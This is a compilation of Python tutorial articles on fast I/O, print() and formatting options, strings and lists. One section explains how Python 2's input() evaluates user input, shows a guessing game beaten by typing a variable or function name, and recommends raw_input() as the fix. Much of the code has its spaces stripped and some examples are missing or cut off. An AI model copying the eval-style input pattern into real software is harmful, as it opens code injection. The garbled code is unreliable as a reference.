defmain():
# input via readline method
n =stdin.readline()
# array input similar method
arr =[int(x) forx instdin.readline().split()]
#initialize variable
summation =0
# calculate sum
forx inarr:
summation +=x
# could use inbuilt summation = sum(arr)
# print answer via write
# write method writes only
# string operations
# so we need to convert any
# data into string for input
stdout.write(str(summation))
# call the main method
if__name__ =="__main__":
main()
The difference in time:
Timing summary (100k lines each) ——————————– Print : 6.040 s Write to file : 0.122 s Print with Stdout : 0.121 s
As we have seen till now that taking input from the standard system and giving output to the standard system is always a good idea to improve the efficiency of the code which is always a need in Competitive programming. But wait! would you like to write these long lines every time when you need them? Then, what’s the benefit of using Python. Let’s discuss the solution to this problem. What we can do is let’s create separate functions for taking inputs of various types and just call them whenever you need them.
When you want to take input of particular integers of integers given in a single line
Suppose the input is of the following form
5 7 19 20
and we want separate variables to reference them. what we want is:
a = 5
b = 7
c = 19
d = 20
so, we can create a function named as get_ints() as follows:
Now you don’t have to write this line again and again. You just have to call the get_ints() function in order to take input in this form. In the function get_ints we are using the mapfunction.
When you want to take input of list of integers given in a single line
Suppose the input is of the following form
1 2 3 4 5 6 7 8
and we want that a single variable will hold the whole list of integers. What we want is :
Arr = [1, 2, 3, 4, 5, 6, 7, 8]
So, here we will create a function named get_list() as follows:
Now you don’t have to write this line again and again. You just have to call the get_string() function in order to take input in this form Adding a buffered pipe io: (Python 2.7) 1. Simply, adding the buffered IO code before your submission code to make the output faster. 2. The benefit of io.BytesIO objects is that they implement a common interface (commonly known as a ‘file-like’ object). BytesIO objects have an internal pointer and for every call to read(n) the pointer advances. 3. The atexit module provides a simple interface to register functions to be called when a program closes down normally. The sys module also provides a hook, sys.exitfunc, but only one function can be registered there. The atexit registry can be used by multiple modules and libraries simultaneously.
Python3
# template begins
#####################################
# import libraries for input/ output handling
# on generic level
importatexit, io, sys
# A stream implementation using an in-memory bytes
# buffer. It inherits BufferedIOBase.
buffer=io.BytesIO()
sys.stdout =buffer
# print via here
@atexit.register
defwrite():
sys.stdout.write(buffer.getvalue())
#####################################
# template ends
# normal method followed
# input N
n =int(input())
# input the array
arr =[int(x) forx ininput().split()]
# initialize variable
summation =0
# calculate sum
forx inarr:
summation +=x
# print answer
print(summation)
While handling a large amount of data usually, the normal method fails to execute within the time limit. Method 2 helps in maintaining a large amount of I/O data. Method 3 is the fastest. Usually, handling of input data files greater than 2 or 3 MBs is helped via methods 2 and 3. Note: above mention codes are in Python 2.7, to use in Python 3.X versions. Simply replace the raw_input() with Python 3.X’s input() syntax. Rest should work fine. References: 1.More About Input in Python 2.7 2.Output via sys library and other commands. 3.Input via sys library and other commands. 4. Python atexit Module docs. This article is contributed by Shubham Saxena. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
This article aims at explaining and exploring the vulnerability in the input() function in Python 2.x. In Python 3, the raw_input() function was erased, and its functionality was transferred to a new built-in function known as input().
Different Ways to input data in Python 2.x
There are two common methods to receive input in Python 2.x:
Using the input() function: This function takes the value and type of the input you enter as it is without modifying any type.
Using the raw_input() function: This function explicitly converts the input you give to type string,
Let us use the following program to determine the difference between the two:
Python
# Python 2.x program to show differences between
# input() and rawinput()function
# 3 inputs using raw_input() function,
# after which data type of the value
# entered is displayed
s1 =raw_input("Enter inputto test raw_input() function: ")
printtype(s1)
s2 =raw_input("Enter inputto test raw_input() function: ")
printtype(s2)
s3 =raw_input("Enter inputto test raw_input() function: ")
printtype(s3)
# 3 inputs using input() function,
# after which data type of the value
# entered is displayed
s4 =input("Enter inputto test input() function: ")
printtype(s4)
s5 =input("Enter inputto test input() function: ")
printtype(s5)
s6 =input("Enter inputto test input() function: ")
printtype(s6)
Input:
Hello
456
[1,2,3]
45
"goodbye"
[1,2,3]
Output:
Enter input to test raw_input() function: <type 'str'>
Enter input to test raw_input() function: <type 'str'>
Enter input to test raw_input() function: <type 'str'>
Enter input to test input() function: <type 'int'>
Enter input totest input() function: <type 'str'>
Enter input to test input() function: <type 'list'>
Note: While giving string input in the input() function, we have to enclose to value in double-quotes. This is not required in raw_input()
Vulnerability in input() method
The vulnerability in input() method lies in the fact that the variable accessing the value of input can be accessed by anyone just by using the name of the variable or method. Let us explore this one by one:
Variable name as input parameter:
The variable having the value of input variable is able to access the value of the input variable directly.
Python
# Python 2.x program to show Vulnerabilities
# in input() function using a variable
importrandom
secret_number =random.randint(1,500)
print"Pick a number between 1to 500"
whileTrue:
res =input("Guess the number: ")
ifres==secret_number:
print"You win"
break
else:
print"You lose"
continue
Python3
# Python 3 to demonstrate difference in input() function
importrandom
secret_number =random.randint(1,500)
print("Pick a number between 1 to 500")
whileTrue:
res =input("Guess the number: ")
ifres==secret_number:
print("You win")
break
else:
print("You lose")
continue
Input:
15
Output:
Pick a number between 1 to 500
Guess the number: You lose
Guess the number:
Input:
secret_number
Output:
Pick a number between 1 to 500
Guess the number: You win
As it can be seen, in the second case the variable “secret_number” can be directly given as input and the answer is always “You won”. It evaluates the variable as if a number was directly entered, which means it returns a True Boolean always. Using raw_input, would not be possible as it disallows reading the variable directly.
Python 3 shows different results. If “secret_number” is given as input, answer is ‘You lose’.
Function name as parameter:
The vulnerability lies here as we can even provide the name of a function as input and access values that are otherwise not meant to be accessed.
Python
# Python 2.x program to demonstrate input() function
# vulnerability by passing function name as parameter
input2 =input("Input(): Guess the secret number: ")
#input2 is evaluated as it is entered
ifinput2 ==secret_value:
print"You guessed correct"
else:
print"wrong answer"
Input:
400
secretfunction()
Output:
Raw_input(): Guess secret number: wrong answer
Input(): Guess the secret number: You guessed correct
In this set of input/output, we can see that when we use raw_input, we necessarily have to input the correct number. However while using the input() function, we can even provide the name of a function or variable, and the interpreter will evaluate that. Here for example, the input for input() function has been given as the name of a function ‘secretfunction()’. The interpreter evaluates this function call and returns the secret number that we wish to find and hence our if the condition evaluates to be true, even though we did not enter the secret number Input:
secretfunction()
secret_value
Output:
Raw_input(): Guess secret number: wrong answer
Input(): Guess the secret number: You guessed correct
As explained in the first point, in this example also we were able to simply enter the variable name ‘secret_number’ in the input for ‘input()’ function and we were able to gain access to the secret value. However, while trying to call secretfunction() in the input for the raw_input() function, it gives us false as the interpreter converts our argument to a string, and doesn’t evaluate it as a function call.
Preventing input vulnerabilities
It is always better to use raw_input() in python 2.x and then explicitly convert the input to whatever type we require. For example, if we wish to take the input of an integer, we can do the following
n = int(raw_input())
This prevents the malicious calling or evaluation of functions.
This article is contributed by Deepak Srivatsav. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python print() function prints the message to the screen or any other standard output device.
Syntax: print(value(s), sep= ‘ ‘, end = ‘\n’, file=file, flush=flush)
Parameters:
value(s) : Any value, and as many as you like. Will be converted to string before printed
sep=’separator’ : (Optional) Specify how to separate the objects, if there is more than one.Default :’ ‘
end=’end’: (Optional) Specify what to print at the end.Default : ‘\n’
file : (Optional) An object with a write method. Default :sys.stdout
flush : (Optional) A Boolean, specifying if the output is flushed (True) or buffered (False). Default: False
Returns: It returns output to the screen.
Though it is not necessary to pass arguments in the print() function, it requires an empty parenthesis at the end that tells python to execute the function rather calling it by name. Now, let’s explore the optional arguments that can be used with the print() function.
String Literals
String literals in python’s print statement are primarily used to format or design how a specific string appears when printed using the print() function.
\n : This string literal is used to add a new blank line while printing a statement.
“” : An empty quote (“”) is used to print an empty line.
Example:
Python3
print("GeeksforGeeks \n is best for DSA Content.")
Output:
GeeksforGeeks
is best for DSA Content.
end= ” ” statement
The end keyword is used to specify the content that is to be printed at the end of the execution of the print() function. By default, it is set to “\n”, which leads to the change of line after the execution of print() statement.
Example: Python print() without new line.
Python3
# This line will automatically add a new line before the
# next print statement
print("GeeksForGeeks is the best platform for DSA content")
# This print() function ends with "**" as set in the end argument.
print("GeeksForGeeks is the best platform for DSA content", end="**")
print("Welcome to GFG")
Output:
GeeksForGeeks is the best platform for DSA content
GeeksForGeeks is the best platform for DSA content**Welcome to GFG
flush Argument
The I/Os in python are generally buffered, meaning they are used in chunks. This is where flush comes in as it helps users to decide if they need the written content to be buffered or not. By default, it is set to false. If it is set to true, the output will be written as a sequence of characters one after the other. This process is slow simply because it is easier to write in chunks rather than writing one character at a time. To understand the use case of the flush argument in the print() function, let’s take an example.
Example:
Imagine you are building a countdown timer, which appends the remaining time to the same line every second. It would look something like below:
3>>>2>>>1>>>Start
The initial code for this would look something like below;
Python3
importtime
count_seconds =3
fori inreversed(range(count_seconds +1)):
ifi > 0:
print(i, end='>>>')
time.sleep(1)
else:
print('Start')
So, the above code adds text without a trailing newline and then sleeps for one second after each text addition. At the end of the countdown, it prints Start and terminates the line. If you run the code as it is, it waits for 3 seconds and abruptly prints the entire text at once. This is a waste of 3 seconds caused due to buffering of the text chunk as shown below:
Though buffering serves a purpose, it can result in undesired effects as shown above. To counter the same issue, the flush argument is used with the print() function. Now, set the flush argument as true and again see the results.
Python3
importtime
count_seconds =3
fori inreversed(range(count_seconds +1)):
ifi > 0:
print(i, end='>>>', flush =True)
time.sleep(1)
else:
print('Start')
Output:
Separator
The print() function can accept any number of positional arguments. These arguments can be separated from each other using a “,” separator. These are primarily used for formatting multiple statements in a single print() function.
Example:
Python3
b ="for"
print("Geeks", b , "Geeks")
Output:
Geeks for Geeks
file Argument
Contrary to popular belief, the print() function doesn’t convert the messages into text on the screen. These are done by lower-level layers of code, that can read data(message) in bytes. The print() function is an interface over these layers, that delegates the actual printing to a stream or file-like object. By default, the print() function is bound to sys.stdout through the file argument.
Generally, people switching from C/C++ to Python wonder how to print two or more variables or statements without going into a new line in python. Since the python print() function by default ends with a newline. Python has a predefined format if you use print(a_variable) then it will go to the next line automatically.
For example:
Python3
print("geeks")
print("geeksforgeeks")
Will result in this:
geeks
geeksforgeeks
But sometimes it may happen that we don’t want to go to the next line but want to print on the same line. So what we can do?
By default python’s print() function ends with a newline. A programmer with C/C++ background may wonder how to print without newline.
Python’s print() function comes with a parameter called ‘end’. By default, the value of this parameter is ‘\n’, i.e. the new line character. You can end a print statement with any character/string using this parameter.
# This Python program must be run with
# Python 3 as it won't work with 2.7.
# ends the output with a <space>
print("Welcome to", end =' ')
print("GeeksforGeeks", end =' ')
Output :
Welcome to GeeksforGeeks
One more program to demonstrate working of end parameter.
# This Python program must be run with
# Python 3 as it won't work with 2.7.
# ends the output with '@'
print("Python", end ='@')
print("GeeksforGeeks")
Output :
Python@GeeksforGeeks
This article is contributed by Ankit Bindal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
The separator between the arguments to print() function in Python is space by default (softspace feature) , which can be modified and can be made to any character, integer or string as per our choice. The ‘sep’ parameter is used to achieve the same, it is found only in python 3.x or later. It is also used for formatting the output strings.
Examples:
Python3
#code for disabling the softspace feature
print('G','F','G', sep='')
#for formatting a date
print('09','12','2016', sep='-')
#another example
print('pratik','geeksforgeeks', sep='@')
Output:
GFG
09-12-2016
pratik@geeksforgeeks
The sep parameter when used with the end parameter it produces awesome results. Some examples by combining the sep and end parameters.
Python3
print('G','F', sep='', end='')
print('G')
#\n provides new line after printing the year
print('09','12','2016', sep='-', end='\n')
print('prtk','agarwal', sep='', end='@')
print('geeksforgeeks')
Output:
GFG
09-12-2016
prtkagarwal@geeksforgeeks
Note: Please change the language from Python to Python 3 in the online ide. Go to your interactive python ide by typing python in your cmd ( windows ) or terminal ( linux )
Python3
#import the below module and see what happens
importantigravity
#NOTE - it wont work on online ide
This article is contributed by Pratik Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
There are several ways to present the output of a program. Data can be printed in a human-readable form, or written to a file for future use, or even in some other specified form. Users often want more control over the formatting of output than simply printing space-separated values. There are several ways to format output.
To use formatted string literals, begin a string with f or F before the opening quotation mark or triple quotation mark.
The str.format() method of strings helps a user create a fancier output
Users can do all the string handling by using string slicing and concatenation operations to create any layout that the users want. The string type has some methods that perform useful operations for padding strings to a given column width.
Formatting output using String modulo operator(%) : The % operator can also be used for string formatting. It interprets the left argument much like a printf()-style format as in C language strings to be applied to the right argument. In Python, there is no printf() function but the functionality of the ancient printf is contained in Python. To this purpose, the modulo operator % is overloaded by the string class to perform string formatting. Therefore, it is often called a string modulo (or sometimes even called modulus) operator.
The string modulo operator ( % ) is still available in Python(3.x) and is widely used. But nowadays the old style of formatting is removed from the language.
Python3
# Python program showing how to use
# string modulo operator(%) to print
# fancier output
# print integer and float value
print("Geeks : %2d, Portal : %5.2f"%(1, 05.333))
# print integer value
print("Total students : %3d, Boys : %2d"%(240, 120))
# print octal value
print("%7.3o"%(25))
# print exponential value
print("%10.3E"%(356.08977))
Output :
Geeks : 1, Portal : 5.33
Total students : 240, Boys : 120
031
3.561E+02
There are two of those in our example: “%2d” and “%5.2f”. The general syntax for a format placeholder is:
%[flags][width][.precision]type
Let’s take a look at the placeholders in our example.
The first placeholder “%2d” is used for the first component of our tuple, i.e. the integer 1. The number will be printed with 2 characters. As 1 consists only of one digit, the output is padded with 1 leading blanks.
The second one “%5.2f” is a format description for a float number. Like other placeholders, it is introduced with the % character. This is followed by the total number of digits the string should contain. This number includes the decimal point and all the digits, i.e. before and after the decimal point.
Our float number 05.333 has to be formatted with 5 characters. The decimal part of the number or the precision is set to 2, i.e. the number following the “.” in our placeholder. Finally, the last character “f” of our placeholder stands for “float”.
Formatting output using the format method : The format() method was added in Python(2.6). The format method of strings requires more manual effort. Users use {} to mark where a variable will be substituted and can provide detailed formatting directives, but the user also needs to provide the information to be formatted. This method lets us concatenate elements within an output through positional formatting. For Example –
Code 1:
Python3
# Python program showing
# use of format() method
# using format() method
print('I love {} for "{}!"'.format('Geeks', 'Geeks'))
# using format() method and referring
# a position of the object
print('{0} and {1}'.format('Geeks', 'Portal'))
print('{1} and {0}'.format('Geeks', 'Portal'))
# the above formatting can also be done by using f-Strings
# Although, this features work only with python 3.6 or above.
print(f"I love {'Geeks'} for \"{'Geeks'}!\"")
# using format() method and referring
# a position of the object
print(f"{'Geeks'} and {'Portal'}")
Output :
I love Geeks for "Geeks!"
Geeks and Portal
Portal and Geeks
The brackets and characters within them (called format fields) are replaced with the objects passed into the format() method. A number in the brackets can be used to refer to the position of the object passed into the format() method.
Code 2:
Python3
# Python program showing
# a use of format() method
# combining positional and keyword arguments
print('Number one portal is {0}, {1}, and {other}.'
.format('Geeks', 'For', other ='Geeks'))
# using format() method with number
print("Geeks :{0:2d}, Portal :{1:8.2f}".
format(12, 00.546))
# Changing positional argument
print("Second argument: {1:3d}, first one: {0:7.2f}".
format(47.42, 11))
print("Geeks: {a:5d}, Portal: {p:8.2f}".
format(a =453, p =59.058))
Output:
Number one portal is Geeks, For, and Geeks.
Geeks :12, Portal : 0.55
Second argument: 11, first one: 47.42
Geeks: 453, Portal: 59.06
The following diagram with an example usage depicts how the format method works for positional parameters:
print("I love {fun} computer {adj}".format(**data))
Output:
Geeks: 4127; For: 4098; Geeks: 8637678
I love GeeksForGeeks computer Portal
Formatting output using the String method : This output is formatted by using string slicing and concatenation operations. The string type has some methods that help in formatting output in a fancier way. Some methods which help in formatting an output are str.rjust(), str.rjust(), and str.centre()
Python3
# Python program to
# format a output using
# string() method
cstr ="I love geeksforgeeks"
# Printing the center aligned
# string with fillchr
print("Center aligned string with fillchr: ")
print(cstr.center(40, '#'))
# Printing the left aligned
# string with "-" padding
print("The left aligned string is : ")
print(cstr.ljust(40, '-'))
# Printing the right aligned string
# with "-" padding
print("The right aligned string is : ")
print(cstr.rjust(40, '-'))
Output:
Center aligned string with fillchr:
##########I love geeksforgeeks##########
The left aligned string is :
I love geeksforgeeks--------------------
The right aligned string is :
--------------------I love geeksforgeeks
My Personal Notesarrow_drop_up
Python | Set 3 (Strings, Lists, Tuples, Iterations)
In the previous article, we read about the basics of Python. Now, we continue with some more python concepts.
Strings in Python A string is a sequence of characters. It can be declared in python by using double-quotes. Strings are immutable, i.e., they cannot be changed.
Python
# Assigning string to a variable
a ="This is a string"
print(a)
Lists in Python Lists are one of the most powerful tools in python. They are just like the arrays declared in other languages. But the most powerful thing is that list need not be always homogeneous. A single list can contain strings, integers, as well as objects. Lists can also be used for implementing stacks and queues. Lists are mutable, i.e., they can be altered once declared.
Tuples in Python A tuple is a sequence of immutable Python objects. Tuples are just like lists with the exception that tuples cannot be changed once declared. Tuples are usually faster than lists.
Python
tup =(1, "a", "string", 1+2)
print(tup)
print(tup[1])
The output is :
(1, 'a', 'string', 3)
a
Iterations in Python Iterations or looping can be performed in python by ‘for’ and ‘while’ loops. Apart from iterating upon a particular condition, we can also iterate on strings, lists, and tuples. Example 1: Iteration by while loop for a condition
In Python, Strings are arrays of bytes representing Unicode characters. However, Python does not have a character data type, a single character is simply a string with a length of 1. Square brackets can be used to access elements of the string.
Creating a String
Strings in Python can be created using single quotes or double quotes or even triple quotes.
Python3
# Python Program for
# Creation of String
# Creating a String
# with single Quotes
String1 ='Welcome to the Geeks World'
print("String with the use of Single Quotes: ")
print(String1)
# Creating a String
# with double Quotes
String1 ="I'm a Geek"
print("\nString with the use of Double Quotes: ")
print(String1)
# Creating a String
# with triple Quotes
String1 ='''I'm a Geek and I live in a world of "Geeks"'''
print("\nString with the use of Triple Quotes: ")
print(String1)
# Creating String with triple
# Quotes allows multiple lines
String1 ='''Geeks
For
Life'''
print("\nCreating a multiline String: ")
print(String1)
Output:
String with the use of Single Quotes:
Welcome to the Geeks World
String with the use of Double Quotes:
I'm a Geek
String with the use of Triple Quotes:
I'm a Geek and I live in a world of "Geeks"
Creating a multiline String:
Geeks
For
Life
Accessing characters in Python
In Python, individual characters of a String can be accessed by using the method of Indexing. Indexing allows negative address references to access characters from the back of the String, e.g. -1 refers to the last character, -2 refers to the second last character, and so on.
While accessing an index out of the range will cause an IndexError. Only Integers are allowed to be passed as an index, float or other types that will cause a TypeError.
Python3
# Python Program to Access
# characters of String
String1 ="GeeksForGeeks"
print("Initial String: ")
print(String1)
# Printing First character
print("\nFirst character of String is: ")
print(String1[0])
# Printing Last character
print("\nLast character of String is: ")
print(String1[-1])
Output:
Initial String:
GeeksForGeeks
First character of String is:
G
Last character of String is:
s
String Slicing
To access a range of characters in the String, the method of slicing is used. Slicing in a String is done by using a Slicing operator (colon).
Python3
# Python Program to
# demonstrate String slicing
# Creating a String
String1 ="GeeksForGeeks"
print("Initial String: ")
print(String1)
# Printing 3rd to 12th character
print("\nSlicing characters from 3-12: ")
print(String1[3:12])
# Printing characters between
# 3rd and 2nd last character
print("\nSlicing characters between "+
"3rd and 2nd last character: ")
print(String1[3:-2])
Output:
Initial String:
GeeksForGeeks
Slicing characters from 3-12:
ksForGeek
Slicing characters between 3rd and 2nd last character:
ksForGee
Deleting/Updating from a String
In Python, Updation or deletion of characters from a String is not allowed. This will cause an error because item assignment or item deletion from a String is not supported. Although deletion of the entire String is possible with the use of a built-in del keyword. This is because Strings are immutable, hence elements of a String cannot be changed once it has been assigned. Only new strings can be reassigned to the same name.
Updation of a character:
Python3
# Python Program to Update
# character of a String
String1 ="Hello, I'm a Geek"
print("Initial String: ")
print(String1)
# Updating a character
# of the String
String1[2] ='p'
print("\nUpdating character at 2nd Index: ")
print(String1)
Error:
Traceback (most recent call last): File “/home/360bb1830c83a918fc78aa8979195653.py”, line 10, in String1[2] = ‘p’ TypeError: ‘str’ object does not support item assignment
Updating Entire String:
Python3
# Python Program to Update
# entire String
String1 ="Hello, I'm a Geek"
print("Initial String: ")
print(String1)
# Updating a String
String1 ="Welcome to the Geek World"
print("\nUpdated String: ")
print(String1)
Output:
Initial String:
Hello, I'm a Geek
Updated String:
Welcome to the Geek World
Deletion of a character:
Python3
# Python Program to Delete
# characters from a String
String1 ="Hello, I'm a Geek"
print("Initial String: ")
print(String1)
# Deleting a character
# of the String
delString1[2]
print("\nDeleting character at 2nd Index: ")
print(String1)
Error:
Traceback (most recent call last): File “/home/499e96a61e19944e7e45b7a6e1276742.py”, line 10, in del String1[2] TypeError: ‘str’ object doesn’t support item deletion
Deleting Entire String:
Deletion of the entire string is possible with the use of del keyword. Further, if we try to print the string, this will produce an error because String is deleted and is unavailable to be printed.
Python3
# Python Program to Delete
# entire String
String1 ="Hello, I'm a Geek"
print("Initial String: ")
print(String1)
# Deleting a String
# with the use of del
delString1
print("\nDeleting entire String: ")
print(String1)
Error:
Traceback (most recent call last): File “/home/e4b8f2170f140da99d2fe57d9d8c6a94.py”, line 12, in print(String1) NameError: name ‘String1’ is not defined
Escape Sequencing in Python
While printing Strings with single and double quotes in it causes SyntaxError because String already contains Single and Double Quotes and hence cannot be printed with the use of either of these. Hence, to print such a String either Triple Quotes are used or Escape sequences are used to print such Strings.
Escape sequences start with a backslash and can be interpreted differently. If single quotes are used to represent a string, then all the single quotes present in the string must be escaped and same is done for Double Quotes.
Python3
# Python Program for
# Escape Sequencing
# of String
# Initial String
String1 ='''I'm a "Geek"'''
print("Initial String with use of Triple Quotes: ")
print(String1)
# Escaping Single Quote
String1 ='I\'m a "Geek"'
print("\nEscaping Single Quote: ")
print(String1)
# Escaping Double Quotes
String1 ="I'm a \"Geek\""
print("\nEscaping Double Quotes: ")
print(String1)
# Printing Paths with the
# use of Escape Sequences
String1 ="C:\\Python\\Geeks\\"
print("\nEscaping Backslashes: ")
print(String1)
Output:
Initial String with use of Triple Quotes:
I'm a "Geek"
Escaping Single Quote:
I'm a "Geek"
Escaping Double Quotes:
I'm a "Geek"
Escaping Backslashes:
C:\Python\Geeks\
To ignore the escape sequences in a String, r or R is used, this implies that the string is a raw string and escape sequences inside it are to be ignored.
Python3
# Printing Geeks in HEX
String1 ="This is \x47\x65\x65\x6b\x73 in \x48\x45\x58"
print("\nPrinting in HEX with the use of Escape Sequences: ")
print(String1)
# Using raw String to
# ignore Escape Sequences
String1 =r"This is \x47\x65\x65\x6b\x73 in \x48\x45\x58"
print("\nPrinting Raw String in HEX Format: ")
print(String1)
Output:
Printing in HEX with the use of Escape Sequences:
This is Geeks in HEX
Printing Raw String in HEX Format:
This is \x47\x65\x65\x6b\x73 in \x48\x45\x58
Formatting of Strings
Strings in Python can be formatted with the use of format() method which is a very versatile and powerful tool for formatting Strings. Format method in String contains curly braces {} as placeholders which can hold arguments according to position or keyword to specify the order.
Lists are just like dynamically sized arrays, declared in other languages (vector in C++ and ArrayList in Java). Lists need not be homogeneous always which makes it the most powerful tool in Python. A single list may contain DataTypes like Integers, Strings, as well as Objects. Lists are mutable, and hence, they can be altered even after their creation.
List in Python are ordered and have a definite count. The elements in a list are indexed according to a definite sequence and the indexing of a list is done with 0 being the first index. Each element in the list has its definite place in the list, which allows duplicating of elements in the list, with each element having its own distinct place and credibility.
Note- Lists are a useful tool for preserving a sequence of data and further iterating over it.
Lists in Python can be created by just placing the sequence inside the square brackets[]. Unlike Sets, a list doesn’t need a built-in function for the creation of a list.
Note – Unlike Sets, the list may contain mutable elements.
Python3
# Python program to demonstrate
# Creation of List
# Creating a List
List=[]
print("Blank List: ")
print(List)
# Creating a List of numbers
List=[10, 20, 14]
print("\nList of numbers: ")
print(List)
# Creating a List of strings and accessing
# using index
List=["Geeks", "For", "Geeks"]
print("\nList Items: ")
print(List[0])
print(List[2])
# Creating a Multi-Dimensional List
# (By Nesting a list inside a List)
List=[['Geeks', 'For'], ['Geeks']]
print("\nMulti-Dimensional List: ")
print(List)
Output:
Blank List:
[]
List of numbers:
[10, 20, 14]
List Items
Geeks
Geeks
Multi-Dimensional List:
[['Geeks', 'For'], ['Geeks']]
Creating a list with multiple distinct or duplicate elements
A list may contain duplicate values with their distinct positions and hence, multiple distinct or duplicate values can be passed as a sequence at the time of list creation.
Python3
# Creating a List with
# the use of Numbers
# (Having duplicate values)
List=[1, 2, 4, 4, 3, 3, 3, 6, 5]
print("\nList with the use of Numbers: ")
print(List)
# Creating a List with
# mixed type of values
# (Having numbers and strings)
List=[1, 2, 'Geeks', 4, 'For', 6, 'Geeks']
print("\nList with the use of Mixed Values: ")
print(List)
Output:
List with the use of Numbers:
[1, 2, 4, 4, 3, 3, 3, 6, 5]
List with the use of Mixed Values:
[1, 2, 'Geeks', 4, 'For', 6, 'Geeks']
Knowing the size of List
Python3
# Creating a List
List1 =[]
print(len(List1))
# Creating a List of numbers
List2 =[10, 20, 14]
print(len(List2))
Output:
0
3
Adding Elements to a List
Using append() method
Elements can be added to the List by using the built-in append() function. Only one element at a time can be added to the list by using the append() method, for the addition of multiple elements with the append() method, loops are used. Tuples can also be added to the list with the use of the append method because tuples are immutable. Unlike Sets, Lists can also be added to the existing list with the use of the append() method.
Python3
# Python program to demonstrate
# Addition of elements in a List
# Creating a List
List=[]
print("Initial blank List: ")
print(List)
# Addition of Elements
# in the List
List.append(1)
List.append(2)
List.append(4)
print("\nList after Addition of Three elements: ")
print(List)
# Adding elements to the List
# using Iterator
fori inrange(1, 4):
List.append(i)
print("\nList after Addition of elements from 1-3: ")
print(List)
# Adding Tuples to the List
List.append((5, 6))
print("\nList after Addition of a Tuple: ")
print(List)
# Addition of List to a List
List2 =['For', 'Geeks']
List.append(List2)
print("\nList after Addition of a List: ")
print(List)
Output:
Initial blank List:
[]
List after Addition of Three elements:
[1, 2, 4]
List after Addition of elements from 1-3:
[1, 2, 4, 1, 2, 3]
List after Addition of a Tuple:
[1, 2, 4, 1, 2, 3, (5, 6)]
List after Addition of a List:
[1, 2, 4, 1, 2, 3, (5, 6), ['For', 'Geeks']]
Using insert() method
append() method only works for the addition of elements at the end of the List, for the addition of elements at the desired position, insert() method is used. Unlike append() which takes only one argument, the insert() method requires two arguments(position, value).
Python3
# Python program to demonstrate
# Addition of elements in a List
# Creating a List
List=[1,2,3,4]
print("Initial List: ")
print(List)
# Addition of Element at
# specific Position
# (using Insert Method)
List.insert(3, 12)
List.insert(0, 'Geeks')
print("\nList after performing Insert Operation: ")
print(List)
Output:
Initial List:
[1, 2, 3, 4]
List after performing Insert Operation:
['Geeks', 1, 2, 3, 12, 4]
Using extend() method
Other than append() and insert() methods, there’s one more method for the Addition of elements, extend(), this method is used to add multiple elements at the same time at the end of the list.
print("\nList after performing Extend Operation: ")
print(List)
Output:
Initial List:
[1, 2, 3, 4]
List after performing Extend Operation:
[1, 2, 3, 4, 8, 'Geeks', 'Always']
Accessing elements from the List
In order to access the list items refer to the index number. Use the index operator [ ] to access an item in a list. The index must be an integer. Nested lists are accessed using nested indexing.
Python3
# Python program to demonstrate
# accessing of element from list
# Creating a List with
# the use of multiple values
List=["Geeks", "For", "Geeks"]
# accessing a element from the
# list using index number
print("Accessing a element from the list")
print(List[0])
print(List[2])
# Creating a Multi-Dimensional List
# (By Nesting a list inside a List)
List=[['Geeks', 'For'], ['Geeks']]
# accessing an element from the
# Multi-Dimensional List using
# index number
print("Accessing a element from a Multi-Dimensional list")
print(List[0][1])
print(List[1][0])
Output:
Accessing a element from the list
Geeks
Geeks
Accessing a element from a Multi-Dimensional list
For
Geeks
Negative indexing
In Python, negative sequence indexes represent positions from the end of the array. Instead of having to compute the offset as in List[len(List)-3], it is enough to just write List[-3]. Negative indexing means beginning from the end, -1 refers to the last item, -2 refers to the second-last item, etc.
Python3
List=[1, 2, 'Geeks', 4, 'For', 6, 'Geeks']
# accessing an element using
# negative indexing
print("Accessing element using negative indexing")
# print the last element of list
print(List[-1])
# print the third last element of list
print(List[-3])
Output:
Accessing element using negative indexing
Geeks
For
Removing Elements from the List
Using remove() method
Elements can be removed from the List by using the built-in remove() function but an Error arises if the element doesn’t exist in the list. Remove() method only removes one element at a time, to remove a range of elements, the iterator is used. The remove() method removes the specified item.
Note – Remove method in List will only remove the first occurrence of the searched element.
Python3
# Python program to demonstrate
# Removal of elements in a List
# Creating a List
List=[1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12]
print("Initial List: ")
print(List)
# Removing elements from List
# using Remove() method
List.remove(5)
List.remove(6)
print("\nList after Removal of two elements: ")
print(List)
# Removing elements from List
# using iterator method
fori inrange(1, 5):
List.remove(i)
print("\nList after Removing a range of elements: ")
print(List)
Output:
Initial List:
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
List after Removal of two elements:
[1, 2, 3, 4, 7, 8, 9, 10, 11, 12]
List after Removing a range of elements:
[7, 8, 9, 10, 11, 12]
Using pop() method
Pop() function can also be used to remove and return an element from the list, but by default it removes only the last element of the list, to remove an element from a specific position of the List, the index of the element is passed as an argument to the pop() method.
Python3
List=[1,2,3,4,5]
# Removing element from the
# Set using the pop() method
List.pop()
print("\nList after popping an element: ")
print(List)
# Removing element at a
# specific location from the
# Set using the pop() method
List.pop(2)
print("\nList after popping a specific element: ")
print(List)
Output:
List after popping an element:
[1, 2, 3, 4]
List after popping a specific element:
[1, 2, 4]
Slicing of a List
In Python List, there are multiple ways to print the whole List with all the elements, but to print a specific range of elements from the list, we use the Slice operation. Slice operation is performed on Lists with the use of a colon(:). To print elements from beginning to a range use [: Index], to print elements from end-use [:-Index], to print elements from specific Index till the end use [Index:], to print elements within a range, use [Start Index:End Index] and to print the whole List with the use of slicing operation, use [:]. Further, to print the whole List in reverse order, use [::-1].
Note – To print elements of List from rear-end, use Negative Indexes.
Python3
# Python program to demonstrate
# Removal of elements in a List
# Creating a List
